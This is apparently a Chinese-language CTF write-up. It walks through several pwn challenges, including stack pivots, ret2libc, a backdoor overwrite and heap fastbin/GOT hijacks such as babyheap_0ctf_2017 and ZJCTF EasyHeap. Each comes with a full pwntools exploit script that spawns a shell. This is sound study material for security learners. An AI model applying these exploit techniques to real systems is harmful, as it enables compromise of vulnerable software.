其次就是我们如何利用这一次的输入来传入shellcode的问题,可以看到的是程序其开始是便打印出的字符串再栈中的地址
而我们正好可以利用这个地址来进行在栈中传入shellcode,并return到栈中shellcode的这一操作
其payload布局可概括为:
crashme\x00
+“a”*18
+ crash_addr -(crashme距离shellcode的偏移)
+ shellcode
而payload中的关键点便在于如何确定(crashme距离shellcode的偏移) ,这可以在gdb调试中来确定,具体操作如下
也就是我们继续运行程序直到程序中止断下后,查看esp也就是栈指针此时应该指向的shellcode的地址,再看程序中泄露出的栈地址,最后通过栈地址-shellcode的地址 即可获得偏移,也就是0x1c
EXP 1 2 3 4 5 6 7 8 9 10 11 12 shellcode = shell_code(32 ) sh.recvuntil("crash: " ) shell_addr = int (sh.recv(10 ),16 ) success("shell_addr => 0x%x" ,shell_addr) sh.recvuntil(">" ) payload = "crashme" +"\x00" payload += "a" *18 payload += p32(shell_addr-0x1c ) payload += shellcode sh.sendline(payload)
[Black Watch 入群题]PWN [栈转移] 程序分析
通过ida可以分析出程序的溢出点在标记2处,但却只可以溢出0x8
个字节的大小,这就成了一个限制。
不过我们可以回头看在程序的标记1处中,向bss段变量s中写入了0x200
个字节,而由于程序没有开启pie保护,这就成了我们可以构造payload的地方。
也就是说我们现在s变量中写入payload,再有标记2处溢出跳转到该变量的地址上,进而执行payload,从而形成一个栈迁移到bss段的利用思路
利用思路 利用第一次的输入,我们传入write_plt
来读取write的got表内容
然后第二次输入,我们使程序跳转到第一次输入的内容中,从而执行write函数来泄露write函数地址
但是这里需要注意我们的bss_addr需要减去4 是因为执行函数开头的push ebp会将esp+4
,这里需要保持栈平衡,其次便是在后面要加上一个leave ret
的gadgets用来还原进入函数前的栈现场。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 s_addr = 0x0804A300 leave_ret = 0x08048511 write_plt = elf.plt["write" ] write_got = elf.got["write" ] main_addr = elf.sym["main" ] payload1 = p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) sh.recvuntil("name?" ) sh.send(payload1) payload2 = "a" *(0x18 ) payload2 += p32(s_addr-4 )+p32(leave_ret) sh.recvuntil("say?" ) sh.send(payload2) write_addr = u32(sh.recv(4 ).ljust(4 ,"\x00" )) libc_base = write_addr - libc.sym["write" ] system_addr = libc_base + libc.sym["system" ] binsh_addr = libc_base + libc.search("/bin/sh" ).next () success("libc_base => 0x%x" ,libc_base) payload3 = p32(system_addr)+p32(0 )+p32(binsh_addr) sh.recvuntil("name?" ) sh.send(payload3) sh.recvuntil("say?" ) sh.send(payload2)
ciscn_2019_es_2 程序分析
ida伪代码中可以看出程序拥有两次输入,并且都是输入到同一个地址中,且存在溢出情况。
而在代码的头部有一个memset初始化该地址,但是仅初始化了0x20字节,导致我们可以在输入0x20个字节数据的时候带出栈中的其它地址,进而可以泄露程序的栈地址等操作。
再看程序的两次输入都存在溢出0x8字节的情况,而程序中只有一个system函数,就需要我们自己来构造binsh字符串,正常情况0x8字节肯定是不够我们来利用的,所以便需要通过栈转移来进行溢出利用。
利用思路 在第一次的输入中我们输入0x28个字节来带出栈中的地址,进而计算出变量s在内存中的地址
可以通过gdb来调试确定,首先我们通过循环依次打印出泄露的地址,通过对比可以得出第一个泄露的地址便是上一个栈帧中EBP的地址,之后再拿该地址减去字符串所在的栈地址 即可计算出偏移量即0x38
得到栈地址后我们便能在第二次的输入中,将程序跳转到栈中,然后利用程序中已有的system函数,然后再向栈中传入binsh字符串,便可以直接得到shell
而这里需要注意一点的是,由于不能直接向参数中传入binsh字符串,所以这里采取了向后添加字符串,在system的参数中取其地址偏移的方式来调用system(“/bin/sh”)
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 leave_ret = 0x080484b8 system_plt = elf.plt["system" ] main_addr = elf.sym["main" ] sh.recvuntil("name?\n" ) sh.send("a" *(0x28 )) sh.recvuntil("a" *0x28 ) str_addr = u32(sh.recv(4 ).ljust(4 ,"\x00" ))-0x38 success("str_addr => 0x%x" ,str_addr) sleep(1 ) payload = p32(system_plt)+p32(main_addr)+p32(str_addr+0xc )+"/bin/sh\x00" payload = payload.ljust(0x28 ,"\x00" ) payload += p32(str_addr - 4 ) payload += p32(leave_ret) sh.send(payload)
[ZJCTF 2019]Login 利用思路
开启了canary和nx保护,但是通过IDA分析可以找到一个名为shell的后门函数
而现在得目的就是要控制程序得rip
让其指向admin_shell
函数即可
但是重点就在password_checker函数中,首先传入了三个参数,
而其中第一个参数用于后门的命令执行,之后的v5和v4便是对用户输入数据时的比较也就是使用了strcmp对字符串进行对比,
如果验证成功则可以执行admin_shell
执行在这里利用(对此可以使用\x00绕过 )
但是我们输入的数据却并不会被直接存到栈中因此便无法直接利用溢出将数据覆盖到第一个参数的地址上,而是要通过后面的puts函数来将输入的数据带到栈上进而控制其参数a1
之后我们将断点下到0x400a4a
处,然后看此时的栈空间,其中0x7fffa3fabfa0
便是我们输入的字符数据,而后面的0x7fffa3fabfe8
便是后面的a1函数的地址,因此我们只用填充上0x48
的数据即可将后门函数覆盖到该地址上,进而getshell
EXP 1 2 3 4 5 6 7 8 9 back_door = 0x400E88 sh.recvuntil("username: " ) sh.sendline("admin" ) sh.recvuntil("password: " ) payload = "2jctf_pa5sw0rd" payload += (0x48 -len (payload))*"\x00" payload += p64(back_door) sh.sendline(payload)
xdctf2015_pwn200 程序分析
程序在vuln函数处中存在栈溢出得情况,直接利用write泄露出函数地址并算出libc基地址即可进行利用
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 def exp(): write_plt = elf.plt["write"] write_got = elf.got["write"] main_addr = elf.sym["main"] payload = "a"*112 payload += p32(write_plt) payload += p32(main_addr) payload += p32(1) payload += p32(write_got) payload += p32(4) sh.recvuntil("XDCTF2015~!\n") sh.sendline(payload) write_addr = u32(sh.recv(4)) success("write_addr => 0x%x",write_addr) libc_base = write_addr - libc.sym['write'] success("libc_base => 0x%x",libc_base) # one_gg = one_ggs[1]+libc_base system_addr = libc_base + libc.sym["system"] read_addr = libc_base + libc.sym["read"] binsh_addr = libc_base + libc.search("/bin/sh").next() payload = "a"*112 payload += p32(system_addr) payload += p32(main_addr) payload += p32(binsh_addr) sh.recvuntil("XDCTF2015~!\n") sh.sendline(payload) return sh def exp_2(): write_plt = elf.plt["write"] write_got = elf.got["write"] main_addr = elf.sym["main"] payload = "a"*112 payload += p32(write_plt) payload += p32(main_addr) payload += p32(1) payload += p32(write_got) payload += p32(4) sh.recvuntil("XDCTF2015~!\n") sh.sendline(payload) write_addr = u32(sh.recv(4)) success("write_addr => 0x%x",write_addr) libc_base = write_addr - libc.sym['write'] success("libc_base => 0x%x",libc_base) # one_gg = one_ggs[1]+libc_base system_addr = libc_base + libc.sym["system"] read_addr = libc_base + libc.sym["read"] bss_addr = elf.bss() success("bss_addr => 0x%x",bss_addr) # binsh_addr = libc_base + libc.search("/bin/sh").next() payload = "a"*112 payload += p32(read_addr) payload += p32(main_addr) payload += p32(0) payload += p32(bss_addr) payload += p32(8) sh.recvuntil("XDCTF2015~!\n") sh.sendline(payload) sh.send("/bin/sh\x00") payload = "a"*112 payload += p32(system_addr) payload += p32(main_addr) payload += p32(bss_addr) sh.recvuntil("XDCTF2015~!\n") sh.sendline(payload) return sh
Heap babyheap_0ctf_2017 程序分析
标准的增删改查功能。
其中添加堆块时,使用的是alloc与malloc不同的是申请的堆块内容会被初始化。
而fill,修改堆块内容的时候,存在越界写n个字符的情况,也就是说可以从上一个堆块的内容中写到下一个堆块里
free功能首先会判断堆块是否在,其次对堆块的指针大小以及内容清零,也就是不存在doublefree的情况
dump功能会打印出与堆块大小数量一致的字符
利用思路 通过堆块重叠来将某个堆块的数据区保存在另一个堆块的数据区之中,从而泄露main_arena
申请3个堆块分别为0x10
\0x10
\0x80
chunk_1用于越界写chunk_2的size为0xb1
,从而使chunk_2的大小可以正好包裹住chunk_3。
之后在对chunk_2进行free,使其清空,从而使得我们alloc(0xa1)大小的地址时,可以将chunk_3也包括进去,而此时的chunk_3的size位因为alloc的缘故被清空了,再手动修改chunk_2并利用越界写的功能修改其size位。最后我们free掉chunk_3,其fd指针将指向main_arena+88的地址,最后我们只用show chunk_2即可看到main_arena
当获得到main_arena+88的地址后,将其-88-0x33即可得到malloc_hook的地址
最后再此利用越界写,将某一堆块的fd指针修改位malloc_hook的地址,即可申请到该地址的堆块
最后填入onegadgets,通过再次alloc,即可获得shell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 def cmd (x ): sh.sendlineafter('Command: ' ,str (x)) def add (size ): cmd(1 ) sh.sendlineafter('Size: ' ,str (size)) def edit (index,content ): cmd(2 ) sh.sendlineafter('Index: ' ,str (index)) sh.sendlineafter('Size: ' ,str (len (content))) sh.sendlineafter('Content: ' ,content) def free (index ): cmd(3 ) sh.sendlineafter('Index: ' ,str (index)) def show (index ): cmd(4 ) sh.sendlineafter('Index: ' ,str (index)) add(0x10 ) add(0x10 ) add(0x80 ) add(0x10 ) add(0x60 ) add(0x60 ) edit(0 ,p64(0 )*3 +p64(0xb1 )) free(1 ) add(0xa0 ) edit(1 ,p64(0 )*3 +p64(0x91 )) free(2 ) show(1 ) sh.recvuntil(p64(0 )*3 +p64(0x91 )) main_arena88 = u64(sh.recv(6 ).ljust(8 ,"\x00" )) success("main_arena88 => 0x%x" ,main_arena88) libc_base = main_arena88-0x3c4b78 success("libc_base => 0x%x" ,libc_base) malloc_hook = main_arena88-88 -0x33 success("malloc_hook => 0x%x" ,malloc_hook) one_gg = libc_base + one_ggs[1 ] free(4 ) edit(3 ,p64(0 )*3 +p64(0x71 )+p64(malloc_hook)) add(0x60 ) add(0x60 ) edit(4 ,"a" *0x13 +p64(one_gg)) add(0x70 ) return sh
[ZJCTF 2019]EasyHeap 程序分析
未开启PIE保护,relro保护非full状态。可以劫持got表,可以直接使用代码段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf; unsigned __int64 v5; v5 = __readfsqword(0x28 u); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stdin , 0LL , 2 , 0LL ); while ( 1 ) { while ( 1 ) { menu(); read(0 , &buf, 8uLL ); v3 = atoi(&buf); if ( v3 != 3 ) break ; delete_heap(); } if ( v3 > 3 ) { if ( v3 == 4 ) exit (0 ); if ( v3 == 4869 ) { if ( (unsigned __int64)magic <= 0x1305 ) { puts ("So sad !" ); } else { puts ("Congrt !" ); l33t(); } } else { LABEL_17: puts ("Invalid Choice" ); } } else if ( v3 == 1 ) { create_heap(); } else { if ( v3 != 2 ) goto LABEL_17; edit_heap(); } } }
简单分析整个程序的逻辑可以看到存在create、delete、edit堆块的三个功能。
而致命的地方则是出现在edit功能中,看下面EDIT中的伪代码:
1 2 3 4 5 6 7 8 9 if ( heaparray[v1] ){ printf ("Size of Heap : " ); read(0 , &buf, 8uLL ); v2 = atoi(&buf); printf ("Content of heap : " ); read_input(heaparray[v1], v2); puts ("Done !" ); }
可以发现我们修改堆块时可以输入一个size,而这个size并未做大小的限制,这则代表着我们如果在修改堆块时输入一个较大的范围,则可以修改该范围内任意堆块的信息,包括堆块的size和fd、bk指针。而只要能修改fd指针,我们理论上就可以控制任意地址进行写。
其次是程序中存在一个后门函数,当选择4869时,且magic变量大于0x1305,便可以执行该函数
1 2 3 4 5 6 7 8 9 10 11 12 if ( v3 == 4869 ){ if ( (unsigned __int64)magic <= 0x1305 ) { puts ("So sad !" ); } else { puts ("Congrt !" ); l33t(); } }
用于cat flag,但实际上这只是个幌子……..
1 2 3 4 int l33t () { return system("cat /home/pwn/flag" ); }
利用思路 最开始我的思路是控制fastbin的fd指针使其指向magic的-0x13处,进而控制程序使下一个malloc的地址为magic进而更改其值为4869,但是exp运行完后…..emmmm
那就只能换一个思路,既然我们可以控制magic,而在gdb中可以看到,magic距离我们堆块的地址紧挨着,那我们是不是便可通过申请到的magic这个堆块使用程序中的EDIT越界写功能进而改写堆块的指针。
例如 我们将chunk_0的指针改写为free_got的地址,那我们再通过edit(0)
来修改free_got内的值为system的地址,最后在通过free堆块内/bin/sh
字符串来执行system("/bin/sh")
,从而获取shell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 def create (size,content ): sh.sendlineafter("choice :" ,"1" ) sh.sendlineafter("Heap : " ,str (size)) sh.sendlineafter("heap:" ,content) def edit (idx,size,content ): sh.sendlineafter("choice :" ,"2" ) sh.sendlineafter("Index :" ,str (idx)) sh.sendlineafter("Heap : " ,str (size)) sh.sendlineafter("heap : " ,content) def dele (idx ): sh.sendlineafter("choice :" ,"3" ) sh.sendlineafter("Index :" ,str (idx)) free_got = elf.got["free" ] system_addr = elf.sym["system" ] magic = 0x6020C0 fake_heap = magic - 0x13 create(0x60 ,"a" *0x8 ) create(0x60 ,"b" *0x8 ) create(0x60 ,"c" *0x8 ) create(0x60 ,"d" *0x8 ) dele(1 ) payload = "A" *0x60 payload += p64(0 )+p64(0x71 ) payload += p64(fake_heap) edit(0 ,0x80 ,payload) create(0x60 ,"e" *0x8 ) payload2 = "a" *(0x3 +0x20 )+p64(free_got) create(0x60 ,payload2) sh.sendlineafter("choice :" ,"4869" ) edit(0 ,0x8 ,p64(system_addr)) edit(2 ,0x8 ,"/bin/sh\x00" ) dele(2 ) return sh